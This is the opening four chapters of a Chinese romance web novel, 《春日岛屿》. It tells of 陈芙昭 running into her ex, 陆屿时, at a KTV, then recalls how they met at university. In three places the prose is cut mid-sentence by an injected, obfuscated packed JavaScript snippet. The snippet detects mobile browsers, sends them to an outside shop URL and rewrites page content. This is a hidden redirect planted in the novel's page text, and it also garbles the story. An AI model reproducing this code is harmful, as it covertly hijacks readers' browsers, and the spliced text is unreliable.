《春日岛屿》 1. 春日岛屿 《春日岛屿》 文/枝玖 “她是他这座岛屿上唯一的春日。” - 他们相爱的那一年,是个普通到不能再普通的春天,可对陈芙昭来说,那却是她人生中经历过最特别的一个季节。 从十八岁,走到了二十八岁,那段几乎能称得上荒唐的感情,其实从开始起就没被多少人看好。她不是不知道,可依旧还是选择死撞南墙般不管不顾,一头栽了进去,没人知道其中的缘由,命运就已经错落地停下。 爱情是不讲道理的,也是不容许反悔、后退的。 但人不是机器,无法只记住复刻那些道理条文,所以哪怕心里再清楚不过,爱和怨混在一起,使她心里的疼不断地发酵过。 于是,再后来陈芙昭也执拗地认定,和那个人在一起,是自己人生中为数不多的后悔时刻。 而在当下,另外一个最后悔的事情…… 就是在这个吵闹的ktv包厢内,无聊地看着周围的几个高中同学特别兴奋地玩着转盘上的真心话大冒险。 在灯红酒绿的昏暗环境下,她回过神,面前转盘不断发出声响,但在周围吵闹的说话声里也变得格外微不足道。 可陈芙昭却目光直直地盯着面前这个在不停转动的转盘,眼前逐渐变得有一瞬间的模糊,不知道为什么,她快速地眨了眨眼睛,突然觉得胸口很闷,也许是因为密闭的空间里太吵,又或者是因为别的。 她抿着唇沉默着,面上很平静,心底的情绪却越来越翻涌。 坐在她身旁的好友孟澜青很快注意到了她的异常,凑近关切问道:“怎么了?不舒服吗?” “没有。”她摇摇头,不想让对方担心,于是轻声说道:“我去趟厕所。” 话落,她站起身,摸了摸自己外套口袋里的东西,朝着外走去。 走到包厢外的吸烟区,陈芙昭背靠着墙,从口袋里熟络地拿出一个香烟盒子。 “啪挞”一声,她手里的女士细烟被点燃,在黑暗的角落里亮出一点火星。 看着缠绕在手指间的烟雾,她疲惫地眨了眨眼,烟味短暂地麻痹了她的心,让刚才那股泛起的情绪好了些。 陈芙昭打算抽完这根烟后就回家,但盯着手机上孟澜青刚刚发过来的消息,包厢里的大家似乎玩得正嗨,她也不想现在进去扫兴,就干脆决定在外面再多待一会。 过了半晌,觉得时间差不多了,她才欲动身回去,打算和包厢里的人说声后就走,只是刚迈出了一步,陈芙昭就听到身后有一道声音突然大声地喊住了自己。 “陈芙昭?” 闻言,她下意识停下脚步回头,手里燃烬了的烟还没来得及丢掉,就眼看着那个喊着自己名字的人慢慢走近,嘴边还边走边说着话,声音故作很夸张的样子,“真是你啊!刚才看到你我都不敢认,你现在变化挺大啊。” “……” 她眯了眯眼,终于认出对方是谁。 遇到她,许知言像是有一种莫名的兴奋,还没等陈芙昭说什么,就看着他佯装不经意地瞥了一眼自己手指间的烟,眉梢挑了下,继续调侃道:“你现在居然都会抽烟了啊,可以啊你,现在变得那么‘叛逆’了。” 听着,她也顺势低头,看着自己手里的烟,像是想到了什么,扯着唇突然轻笑了声。 而后抬起头,刚准备回答对方些什么,却在下一秒,余光瞥见了许知言身后那个隐没在黑暗里的身影。 意外地四目相对,她的面色骤然一滞。 嘴边原本想说的玩笑话一下子被硬生生堵在了喉咙里,上去也不是,下去也不是,让人不由得又生出一股难受来。 陈芙昭没想到会在这里遇到他,也没有想过还会再遇到他。 当初闹得太难看,如今她也不自觉地在心里生出几分尴尬来,只是心里比尴尬更猛烈的,是另外的……情绪。 那股不适感适得其反地更加强烈,让她不禁微蹙了下眉。 在看不太清的走廊上,身旁包厢不隔音,有人在里面扯着大嗓门唱着撕心裂肺的情歌,难听又刺耳。 其实她以前一向不太喜欢这种类型的悲情歌,情绪起伏太大,学起来唱起来也很费力,唱不好还很容易伤嗓子。曾经她不理解,怎么明明是唱着爱,歌词为什么能这样痛苦。 那时年轻不懂,许多歌也只觉得调调好听而已,如今经历过,才明白有些爱情走到最后就是会面无全非的。 而那些隐藏在旋律里的歌词,终究有人教会了她去听懂。 - 包厢内一片喧扰,包厢外此刻却寂静得诡异。 原先想要插科打诨的许知言还想说些什么,但是在用余光地瞥见身后人的脸色后,还是悻悻然闭了嘴。 …… 陈芙昭只和他对视了一两秒,便率先移开了目光,此刻手里还没来得及扔掉的烟莫名显得格外烫手,她下意识地背过手去,想要刻意掩饰着什么,可也只是一瞬间,她手边的动作一顿,下一秒嘴边露出了一抹不明显的讥讽。 那抹笑,不是在笑其他人,而是她在觉得自己太可笑。 刚才许知言那家伙话说得那么大声,现在自己这样掩耳盗铃又有什么用? 更何况……面前这人,也不再是十年前那个,自己做什么事情都要管着自己的人了。 早就没有了身份和资格了不是吗? 再说,他也未必在意。 想到这,她在心里轻嗤一声,刚才紧绷着的情绪终于稍微缓解了些。 在陈芙昭内心活动想了一大堆的时候,从始至终,站在许知言身后的那个人始终一动没动,甚至一个多余的动作都没有。 他只是融在黑暗里,静静地用那双狭长的眼睛寸步不离地盯着她,也不说话。 他不说话,陈芙昭自然也不可能会开口。 她默默地低下头,也不想再和对方对上任何一个眼神。 不想看见这个人眼里的冷冰冰,毕竟过去那些年,她早就见够了、看够了。 她只希望自己不要失态,不要露出半点多余的情绪,让对方觉得自己还在乎他。 这是这么多年后,她唯一在和陆屿时无声较劲的事情。 以他们过去的感情为赌注,时限是许多许多年。 - “呃……”许知言看着面前这两人,只觉得现在现场气氛尴尬得不行,他的脑子在此刻疯狂转动,在心里求老天爷来个能解围的人。 也不知道是不是老天真听到了他的心声,他看见从不远处的包厢里走出来了一个男生。 “芙昭。” 男生喊着陈芙昭的名字,从走廊前边走过来,边走边问,“你怎么一个人站在这里,还不回去吗?大家都等着你回来一起玩游戏呢……” 听到这样亲昵的称呼,许知言刚还在感激老天,此刻又突然想要撤回刚才的请求了。 眼看着那人走到陈芙昭的身边,看了看自己和陆屿时,不明所以般问着她:“这两位是?” “……” 她其实很想开口说些什么,然后迅速离开这个是非之地,可是偏偏自己身边的这位朋友就这样抛出了一个最难回答的问题。 她不知道该怎么回答,是同学?校友?还是曾经的前任,又或者是…… 算了,她垂下眼,不想再继续想下去。 好在这个时候,许知言也怕陈芙昭说出个什么不计后果的答案来,连忙接话道:“啊……我们是陈芙昭之前的……大学校友,嗯对,校友校友。” 说完,他尴尬地笑了笑,最后重复的话更像是故意的掩饰,随即他看了眼陆屿时,这家伙今天不知道是中了什么邪,居然还在盯着陈芙昭那边看! 而且不清楚是不是自己的错觉,他感觉到陆屿时现在的眼神很不对劲,像是在隐忍着什么。 他承认自己方才认出陈芙昭后喊住她,是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397915|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点存着看热闹不嫌事大的心思,但是现在他是真后悔了,真心担心等会会不会出什么事情。 “哦是这样啊,你们好,我是芙昭的高中同学,我叫林翊。”林翊说着自我介绍,像是完全没注意到几人的不自然,说着,他就自然而然地转过话题,对陈芙昭说着,“那我们现在回去吧?” “好。”她听着应声,转头向许知言点了点头,然后立马转身跟着林翊一块走了。 - 看着两人并肩一起渐渐走远的背影,陆屿时的面无表情的脸色才终于龟裂。 陈芙昭今天上身穿了一件针织的淡蓝色上衣,搭了一条暖白色的半身裙,和她过去的风格相差很大。 她的五官都很小巧漂亮,是属于秀气淡颜的那一款,但以前她总喜欢穿颜色亮眼的衣服,不像现在。 而走在她身边的那个男生,他穿着一身深黑色的外套,修长的背影,身材高挑。 陆屿时刚才不动声色地观察过他,林翊和他差不多高,那张脸第一眼看上去很有攻击性,算是那种很酷的男生,是陈芙昭会喜欢的那种类型。 而那个背影,他眼底一暗,脸色却变得越来越差。 “你没事吧?”看着陈芙昭他们已经走远,许知言才敢小心翼翼地转过来问他。 “没事。”陆屿时听到声音后默默收回了目光,轻声回答了一句,语气里听不出什么多余的感情。 “那你刚才干吗一直盯着陈芙昭和那个林什么的家伙看?吓死我了,我都怕你们别现场打起来。” 听着许知言一副劫后余生松了口气的模样,陆屿时一时都觉得有些好笑,“你在瞎脑补什么?” 就算要打起来,那也要她愿意理他才行。 陈芙昭早就已经走得飞快,连影子都不剩下了。 她不想看见他,在躲着他。 意识到这一点,他嘴边的笑渐渐淡去,只剩下落寞。 - 而已经走到包厢门口的陈芙昭,也不自觉地重重松了口气。 她并不知道此时陆屿时的想法,只觉得他还和十年前一样,除了外貌变成熟了不少外,好像也没有什么变化。 不过倒是没有变胖变丑,反倒越变越帅了,想到这,她在心里咂舌,当年要不是受这张脸的诱惑,自己也不会有这样难堪的时刻。 只是,方才想要急匆匆地离开,不想面对这个曾经的初恋,如今终于冷静下来一些,原先跳得很快的心跳终于慢慢恢复正常。 林翊在她面前打开了包厢门,她才后知后觉地跟着走了进去。 走到桌边上时,正在被转动着的转盘,一连转了好几圈,最后缓缓地停了下来,指针正对着她的面前。 周围顿时一阵起哄,嚷嚷着叫她选择真心话还是大冒险。 陈芙昭就这样莫名被扯进了这场游戏里,她愣着被身边的朋友拉回到沙发上,在朋友们不停的说话声里,不想破坏气氛。于是有些无奈地轻叹了声气,伸出手随意地做着选择。 指着手边最近的一张牌就拿了起来。 孟澜青在旁边最积极,她本想拿过陈芙昭手里的牌一探究竟,只是放在手边上的手机突然震动了一下,她下意识地看向亮起的手机屏幕,上面显示的消息和备注皆让她动作一僵,连要干什么都忘了。 而那张真心话牌上的内容,待陈芙昭看清后,她的脸色渐渐变得有些苍白,拿着牌的动作也不受控地越来越用力。 身旁的几个朋友没有发现她的异常,仍在好奇着,一齐拥了过来,中间不知道是谁没站稳,一个趔趄手撑在了桌子上,意外碰到了桌上那个原本已经停下的转盘,转盘像锈掉的链条,重新发出急促的声音。 一时间,周围的声音好似都被消失了,陈芙昭的耳边只剩下桌上转动的声音。 命运的转盘重新再次转动,叫人眼花缭乱,也让人恍惚。 叫她想起,十年前,也有过这样的一个夜晚…… 2. 春日岛屿 2018年9月,江市大学开学,陈芙昭初次来到了江市。 江市的气候燥热,早晚温差特别大,和苏市的秋天完全不一样,于是她刚来学校没几天,就因为忽高忽低的温度而发烧生病了。 陈芙昭和宿舍里的室友也还不太熟悉,不好意思麻烦她们太多,好在这个学校里,她还有个认识的人。 - “芙昭,你在宿舍吗?我给你买了点药和食堂的粥,你现在感觉怎么样?” 孟澜青的电话打进来的时候,她正浑身乏力地躺在宿舍的床上,接通电话,她费力地开口道:“我在宿舍,其他人有课都出去了,我上午和导员请了假……” “行,那你等我,我马上上来。” 电话挂断没一会,孟澜青就出现在了她的宿舍门口,听见“叩叩”的敲门声,陈芙昭用尽全身最后的力气起身开了门。 门一打开,门外面的人虽然早有准备,但还是被她这副虚弱的样子吓了一跳,“我的妈呀!你怎么都成这样了?” 说着,孟澜青边走进宿舍,在桌上放下东西,边打开打包的热粥边继续问道:“要不要我陪你去医院看看啊?” 陈芙昭接过对方手里打开的粥,摇头道:“不用,估计就是着凉了,吃点药就好了。” “你这身体也太脆弱了吧,我劝你好好养养生啊。” “嗯嗯。”陈芙昭听着敷衍地点点头,随即用勺子动作缓慢地挖着一小勺粥,喝了些热的,她才感觉稍微舒服了一点,于是边喝边问着面前人,“对了,你那边室友怎么样?都还好相处吗?” “还行,算不上很好,但也都挺正常的。” “那就好。”陈芙昭放心地应了声,然后看着旁边人,从刚才递给自己粥后就一直在看手机,而且脸色看上去还不太好的样子。 “怎么了?从进门开始就看你不怎么开心,谁给你发消息呢?” 闻言,孟澜青面露一瞬间的难堪,她像是不知道该怎么开口,顿时支支吾吾起来。 陈芙昭看着她的反应,顿时心领神会,“……许知言啊?” 听到这个名字,孟澜青的声音听不出情绪地“嗯”了一声。 “他给你发消息干吗?” “说是沈叔叔特地嘱咐的,让他到这里后要多照顾照顾我,要尽……哥哥的责任。所以他问我今天要不要和他一起出去玩,正好他想和他身边朋友介绍一下我这个……妹妹。” 话说到最后,她蓦地笑了下,自嘲道:“他倒是还挺入戏的,对我这个没有血缘关系的妹妹还当真了。” 陈芙昭听着她的语气,也面露难色,她看了对方好几眼,犹豫了会,才开口:“你这就接受他这个身份了?” “不然呢……只有这样才是最好的。” 孟澜青很清楚她嘴边的话是什么意思,但她也早就没了办法。 她深知对许知言来说,自己只是一个寄养在他家的妹妹而已,从前是,以后也只会是。 所以她不能开口,不能表露出任何,否则一定会毁了这段关系。 只是想到这,孟澜青突然一下子觉得实在是没什么意思,说白了都不过是在和自己较劲而已。 对方什么也不会知道,也不会清楚的。 所以她犹豫了会,最后还是在手机上以要照顾陈芙昭为由拒绝了许知言,而另一方也没说什么,他没多在意,只说那就下次再约。 然后也就没有后话了。 她们聊完这件事情,陈芙昭刚好饱了,她放下手边的粥,看着对方递给自己看的手机上的聊天记录,一时也有些不知道该说些什么。 这似乎真的是个误解的命题,她除了能开解孟澜青外也没有其他的办法。 - 一周后,陈芙昭的病大好,原本以为孟澜青那所谓的哥哥说的下次再约只是客气话,但没想到过了一星期,对方又给孟澜青发来了消息。 这次没了刚好的借口和理由,她有些不知道怎么办,于是打了个电话给陈芙昭。 陈芙昭这边刚好上完下午的最后一节课,接到电话的时候,声音都有些疲惫,听电话那头说完前因后果,她也有些无奈了,“又找你出去玩啊,他怎么那么爱玩?” “他之前高中那会不就这样……” 孟澜青的话倒是让她短暂陷入了回想,随即有点无语着,“真不知道他怎么考上江大的。” 话落,她打了个哈欠,继续问道:“那你打算要去吗?” “嗯……我感觉如果这次不去,他下次还会继续问我的。” 电话里的声音听起来非常为难,孟澜青既想去又有些不愿去,她分不清自己心里的感情究竟是抵触还是期待,对于许知言这个人,她几乎总是在没有办法。 陈芙昭在电话那头见她那么犹豫,她想了想,开口说:“这样吧,我陪你去,怎么样?这样就算到时候你尴尬,也还有我在呢。” “可是……” “好了别可是了,就这么定了,你问个时间,等会我来你宿舍找你。” “好。” 孟澜青见她这样说,也就不再坚持,电话挂断后,陈芙昭用力揉了揉眼睛,虽然的确有些累了,但也还能坚持。 - 下午五点,陈芙昭跟着孟澜青站在了一家民谣酒馆的面前。 “许知言他们人呢?”看着门口没别人,她问着。 “他说他们今天在这里有演出,这会估计还没结束。”孟澜青看了眼手机上的日期,打开微信给对方发了条自己到了的消息,但并没有及时等到回复。 她们俩等了一会,江市的秋天晚上有些冷,所以陈芙昭率先开口提议道:“那我们先进去找位置坐下吧。” “嗯好。” 说着,两人迈起步子,拉开玻璃门朝着里面走去。 里头正在演出,周围都暗沉沉的,只有吧台和桌上亮着暗黄色的光,陈芙昭随便指了位置,和孟澜青作势坐下。 这个点已经坐了不少的人,服务员看到她们落座后,送来了茶水和瓜子零食。 “两位扫桌上的二维码就可以点单了。” “好的,谢谢。”陈芙昭礼貌地道了谢,随即朝着前边的舞台望了一眼,台上这会正好中场休息,于是她问着服务员,“麻烦问一下,你们这的演出大概什么时候结束啊?” “大概还要一个小时的样子。” “哦,那么久啊。”她若有所思地点点头,看了眼听到答案后的孟澜青,拿出手机扫了桌上点单的二维码,才继续道:“点点吃的和喝的吧,估计一时半会也回不去呢,正好我也有点饿了。” 听她这样说,孟澜青也只好点头答应,她本来只是想要应付一下就回去,如今怕是不行了。 正想着,手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397916|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手机屏幕就亮了起来。 xzy:你和你朋友进来了吗?我们过去找你。 小孟:嗯进来了,我们在6号桌这里。 xzy:ok,马上过来。 “许知言说他马上过来。” “就他一个人?”陈芙昭边点着手机上的吃的,边把手机递给她,“我点好了,你看看还要什么。” “好。”孟澜青应了声,才道:“应该还有他的朋友吧。” 话落,不远处传来一个男声,“孟澜青。” 听见声音,她们两人一起回头,目光皆是一愣。 许知言穿着一件炫酷又骚包的外套,看着很潮人地向着她们这桌走过来了。 这家伙在高中的时候就很高调,经常违背校规穿得人不人鬼不鬼的,托孟澜青的福,陈芙昭也早就有些见怪不怪了。 只是…… 她看着许知言走到她们的面前,和她简单做了个自我介绍,随后,他转过身,揽着身后那人的肩膀,继续说道:“哦对了,这是我朋友陆屿时,刚好大家一起认识下,他也是我乐队的架子鼓手。” “屿时,这是我妹妹孟澜青,这个是她朋友……” “我叫陈芙昭。”她掩下面上的情绪,乌黑的眼睛盯着面前的男生,主动接过许知言的话,微笑道:“很高兴认识你……们。” “你们好,我是陆屿时。” 被盯着的人,只是微微颔首,冲着陈芙昭她们点了点头,语气不冷不热地说着。 他只说了简略的几个字,就没有后话了。 许知言眼见着要冷场,连忙开口道:“都好都好,我这朋友就这样,话比较少,别误会啊。对了我们等会还有演出,你们要是有空可以一起来捧捧场啊。” 他还想接着说些什么,后面就有人喊着他们的名字。 “言哥,差不多休息好了,我们要继续上台演出了。” “行知道了,我和屿时马上来。”许知言应了声,也来不及和孟澜青说些什么,只说刚过来给她们这桌点了些吃的,让她们玩得开心点。 说完,就拉着陆屿时匆匆忙忙地朝着后台走了。 - 两人走后,孟澜青撇了一眼前边的舞台,发现那两人已经走了上去,现在正在调着手上的设备。 她看了眼许知言那副难得认真的样子,倏然觉得有一刻似乎回到了高中那会。 他那个时候就喜欢搞音乐,还自己成立过一个乐队,没想到这爱好到现在也还没有变。 想着,她转过身,想和陈芙昭说些什么,却发现从刚才开始,身旁的人的目光就一直落在了舞台上。 “芙昭?” 她喊着陈芙昭的名字,身边人才终于如梦初醒般回过神来。 “怎、怎么了?”她有些慌乱地收回目光,声音都有些乱。 “你看什么呢?看那么认真。” “没什么。” 她摇摇头,话刚落,台上的音乐就骤然响起,店内的灯光也跟着音乐一起变换着颜色。 幻彩的灯光闪烁,在黑暗的灯光里,错落地打在她的脸上,台上正唱着一首摇滚歌,整个店里的气氛都很嗨,陈芙昭却像是恍若未闻。 她的目光穿过所有的热闹与喧嚣,直直地落在那个打着鼓棒,认真打着架子鼓的男生身上。 只是一眼,也是命运。 3. 春日岛屿 台上的表演仍在继续,几首歌过后,许知言他们乐队的表演已经结束了,看不到想看的那个人,陈芙昭也渐渐没了兴致。 眼下台上正唱着一首抒情歌,慢调的歌声,让她控制不住地眼皮打架。 时间已经很晚了,她坐在位子上闭了闭眼睛,等着孟澜青上完厕所回来后就和她一起回学校,她们得赶在宿舍熄灯门禁前回去。 正想着,头顶突然传来一个男生的声音:“hello,睡着了吗?” 闻声,陈芙昭睁开眼,发现面前说话的男生是之前许知言喊过来和她们打过招呼的人之一,她听许知言他们都叫他虎子。 而虎子的旁边,赫然站着方才见过的陆屿时,他身上还穿着台上演出时的衣服,他们今天演出的衣服是黑红色的冲锋衣,入眼的亮色很吸睛。 在昏暗的环境下,他的身材瘦长,这件演出服在他的身上,穿出了和其他人完全不一样的感觉,亮眼的颜色搭配上他那张看着冷冷的脸,很反差也很瞩目。 只是很难想象看着这么冷的一张脸居然会在舞台上打着像架子鼓这样张扬又有个性的的乐器。 看着面前的男生,陈芙昭愣了好一会,才意识到自己的失态,才回过神忙解释道:“没有,就是有点累了。” “哦这样啊,我还以为是我们这的演出那么无聊呢,都能让人睡着了。” “不是,你们刚才的演出很精彩。” 这是实话,他们今天的演出绝对是这个晚上的表演里最出彩最嗨的。 说话间,孟澜青刚好回来,认出这站着两个人,有些不解道:“欸是你们啊,有什么事情吗?” 经她一问,虎子想起自己过来的目的,说道:“哦是这样的,言哥说时间也不早了,他本来是打算要自己来送你们回去的,但是临时被老板给叫过去了,所以就只能拜托我们俩了。” 说着,他指了指自己和陆屿时。 听到这话,孟澜青眼底微不可查地闪过一丝失落,她还以为至少能和许知言一起回学校。 看着身旁的好友低下头的样子,陈芙昭知道她心里在想什么,因此率先开口道谢:“原来是这样,那麻烦你们了。” “嗐,都是小事,那我们走吧。” 话落,她拉了拉孟澜青的手,示意她要走了。 孟澜青也这才回过神,勉强笑了笑道:“嗯好,那我们走吧。” - 一路上,虎子很明显是个话痨,丝毫没有大家刚认识时候的尴尬,一直在喋喋不休地说着话。 陈芙昭虽然感觉自己平日里话也挺多,但是和他比起来还是真的觉得自愧不如。 孟澜青从酒馆里出来后就很显然不在状态,走在她们旁边的陆屿时,除了在过马路的,等红绿灯的时候会简单地提醒她们几句外,几乎也没说什么话。 所以也就只剩下她自己能回应附和一下虎子说的话了。 “欸对了,你们感觉我们这酒馆的氛围怎么样?好玩吗?” 突然,他话题一转,问起这个, 陈芙昭有些没反应过来,但还是如实道:“啊……挺有意思的。” “是吧,我们这生意很好的,你们要是觉得不错,以后可以经常来玩啊。”虎子说着,像是想起了什么道:“对了,要不我们大家加个联系方式?你们是言哥的妹妹和朋友,那就也是我们的朋友了,下次有机会带着你们一起玩啊,我们表演结束后的活动也挺多的,都挺好玩的。你说是不是陆屿时。” 突然被cue到的陆屿时抬起眼,一时也不知道该说什么,就沉默地点了点头。 陈芙昭看了看他,又看了眼孟澜青,她在听到“妹妹”这两字眼的时候,明显表情有些难看,但很快就恢复正常,点头同意了。 见她同意,自己自然也没有什么意见。 于是就这样,她在这意外的情况下,和陆屿时加上了微信好友,虽然全程几乎都是虎子一顿操作来的,陆屿时的微信更是被他直接推了过来。 “没事,他就是不好意思,大家加个好友以后可以一起出来玩啊。”虎子摆了摆手,全然无视了陆屿时无奈的表情。 见此情景,陈芙昭也是终于在今天看到稍微有点不一样表情的他了,想到这她低下头,有些忍不住地想笑。 加完联系方式后,正好也走到了江大的校门口。 虎子不是他们学校的学生,所以也没法进去。 “那行,那我就送你们到这里了。” 陈芙昭她们答应着,和他道了句谢。 等虎子走后,他们三个一起刷着校园卡进校门,进去后,他们一起走到学生宿舍附近,孟澜青的手机上收到室友的消息,询问她还在不在外面,想让她帮忙在超市里买点东西。 她边回着消息,边对着面前的两人开口说道:“我还有事要去趟超市,芙昭你们先回去吧,不用管我。” 听她这样说,陆屿时也点点头,反正已经到学校里了,也不会有什么危险,只是在临走前,他想起许知言嘱咐自己的事情,开口拦住她道:“出来前,许知言让我和你说要让你到宿舍之后,给他发个消息。” 他公事公办地重复着许知言和自己说的话,但听到这番话的孟澜青要迈向前的步子却突然一顿,不知道她在想什么,沉默了片刻后,才很轻地“嗯”了一声,然后离开了。 看着她走了,陈芙昭和陆屿时彼此看了对方一眼,她冲着他礼貌地点了点头,露出一个淡笑道:“那……再见,今天谢谢你们。” “没事,再见。” 话落,他们一起转过身,各自朝着自己宿舍的方向走去。 只是……转过身的陈芙昭并没有立刻离开,她在确定对方已经走远后,侧过身体,看着那条瘦高的背影越走越远,直到消失在拐角转弯口。 至此她才终于收回目光,在原地打开自己的手机,聊天框最上面出现了一条消息,来自陆屿时的好友申请通过。 “我通过了你的朋友验证申请……” 看着那一行字,她感觉心里像是可乐汽水一样在悄悄冒泡。 来到江大的第一个月,她终于出现在了他的记忆里。 - 回到宿舍,陈芙昭旁边床位的室友看见她回来,连忙凑上来好奇地询问道:“回来了啊,出去玩得怎么样?开心吗?” “挺好的。”她心里还在想着关于陆屿时的事情,所以心情还不错。 “芙昭,听隔壁系的说,你那个朋友是许知言的妹妹啊?”她另一个室友刚洗漱好从厕所出来,见她回来顺嘴问了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397917|200379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 听到有人提到这个,陈芙昭原本扬起的唇角立刻消失,她微蹙起眉问道:“你们是怎么知道的?” “听许知言有个室友说的。” 一听到许知言的名字,她旁边几个室友顿时就都凑了过来,好奇她们在说什么关于许知言的事情。 陈芙昭看着她们有点意外,“你们怎么都认识许知言啊?” “他在咱们新生报到那天不就出名了吗?当时我们那个校表白墙上一堆都是他的投稿。” “……” 经过她们提醒,她才想起来这回事,像许知言这种外表痞帅,还有些不着调的““坏男孩”,好像的确更容易让人感兴趣。 只是……孟澜青其实并不想让人知道她现在和许知言的这一层关系,但很显然许知言并不是这样想的,他的确是很坦荡。 如今连她们系的人都知道了,估计是早就传开了。 虽然从高中那会她就觉得谁和许知言扯上什么关系都挺麻烦的,但此刻她还是不由得在心里为好友叹口气。 陈芙昭不想继续说这个话题,于是就随便回答了几句,就先去洗漱了。 收拾好后,她刚躺上床,宿舍就正好熄灯了。 夜深人静时,借着手机屏幕上微弱的光,她悄悄地把手机的保护壳取了下来,露出亮粉色的手机壳,贴在最底下,正摆放着一张白色相片。 相片里是一个穿着深黑色校服的背影,看不清人的样子,但依旧被她用塑封膜封好,没有一丝的褶皱,很平整。 陈芙昭盯着这张相片,记忆里的一切和今天陆屿时走远的背影重合,她的表情都有些恍惚。 很像,真的很像。她在心里对自己说着。 - 正想着,手机上突然弹出了孟澜青的消息。 于是陈芙昭小心地把那张照片放回手机壳里,恢复成原先的样子,套上手机壳后,才点开对方发来的消息,发现是一张截图。 里面对话的主人公无疑是孟澜青和许知言。 小孟:我到宿舍了,你朋友说要我到了之后给你发个消息,是有什么事情吗? xzy:没事,你到了就行,那我就放心了。 截图的内容就只有两句话,跟着这张截图发来的还有孟澜青发来的六个省略号。 一般人如果看到这个内容,大概真的会觉得许知言是个很称职的哥哥,但陈芙昭明白她想到了什么,于是也不禁有些感叹。 小岛:没想到现在许知言倒是变得那么贴心了。 只是这个贴心恐怕是要画上双引号了。 孟澜青在手机另一头也显然知道她这话里的意思是什么,所以不免想起之前在高中的时候,许知言就是个很叛逆且吊儿郎当的人,迟到旷课打架的时候就没少做过,后来当陈芙昭从她嘴里听到这个名字的时候,对方甚至有很长一段时间觉得她一定是疯了。 如今看来,似乎的确是她疯了。 想到这,她也觉得自己有点好笑。 小孟:可能是因为看在我现在也是他名义上半个妹妹的份上,倒是正经不少。 她发去的话带着明显的自嘲和自暴自弃。 以前当同届的同学没得到的关照,如今成为他的“妹妹”,倒是什么都有了。 4. 春日岛屿 几天后,江大校园广场那边正在进行新一年的招新,特别热闹,陈芙昭和其他几个室友吃完饭后,也跟着一起去凑了个热闹。 校园广场上挤满了人,她们艰难地走在人群里,面前有各种社团的宣传海报和展板,陈芙昭环顾了四周一圈,似乎没有什么太感兴趣的。 但她身边的几个室友早就已经争先恐后地跑到各个摊位上去填报名表了。 看她们那么积极,她也打算再挨个看看。 等她都已经自己逛了好一会了,孟澜青那边才刚下课。 她们俩不在一个专业,她学的专业是服装设计,而孟澜青则选择了医学。 从医学院那边过来也还要点时间,于是她在手机上先问着陈芙昭有没有什么她会感兴趣的社团。 陈芙昭抬手用手机拍了一圈视频给她,让她自己先选选,只是放下手机时,她眼睛一亮,目光停留在很后面的吉他社团上。 从小,她身边的很多同学都会去上兴趣班,他们每个人几乎都有才艺,会在刚入学的时候在文艺汇演上展示,但陈芙昭却从来没有学习过。 高中的时候,她上音乐课就对乐器和唱歌很感兴趣,那会也陪孟澜青去旁听过她的吉他课,只是去学的人没学几节课就半途而废了,看的人却越来越喜欢吉他了。 那个兴趣班的老师曾经说过她的手很漂亮,很适合弹吉他。 只是那个时候,她没有多余的时间和闲钱去学习。 如果能在这个社团里学习一点的话,那好像也挺不错的,她在心里想着,脚步不受控制地穿过人群,朝着那个摊位走去。 - 走到那里,站在摊位前的男生很热情地问着她:“同学有兴趣加入我们吉他社吗?没学过也不要紧,我们社里都有人专业学过,保证能教会你们的,而且我们社团平日里也没什么事情,很轻松的。” 男生滔滔不绝地推荐着,然后拿出报名表,一脸期待地看着陈芙昭。 陈芙昭在他希翼的目光中,笑着接过了纸和笔,顺便扫了展板上社团的二维码,加入报名群里,然后弯着腰在摊位的桌子上写着自己的名字和个人信息等等。 写好后,她确认了一遍自己写的没问题,刚要把报名表递给那个男生,身边却突然出现了一个熟悉冷冽的声音,随着声音而来的,也是一张同样填好名字信息的报名表。 “给,这是我的报名表。” 闻言,陈芙昭几乎是下意识地转过头,不出意料,陆屿时手里拿着那张纸,就站在她的身边。 接触到她投来的目光,他认出她来,也有些意外。 他冲她点了点头,说道“好巧。” 话落,扫了一眼她手里的报名表,陈芙昭的字很漂亮,娟秀的字迹写在纸上,整齐又好看。 陈芙昭也没想到会在这里遇到他,而且很巧的是,他们报名的还是同一个社团。 她和陆屿时一起把报名表交给了负责的同学,想到以后说不定和他能经常在社团里见面,她心里就扬起一阵喜悦,于是语气都欢跃了不少,“是好巧,你也对吉他感兴趣啊?” “嗯,很久之前……学过。” “你还学过吉他啊?”她想起之前对方在台上熟练打架子鼓的样子,语气有点羡慕,“那你好厉害啊,又会打架子鼓还会弹吉他。” 她正说着,后面却突然有人挤了过来,陈芙昭没注意被撞了一个趔趄。 “小心。”即将摔倒之余,陆屿时眼疾手快地拉住了她的手腕,这才及时扶住了她。 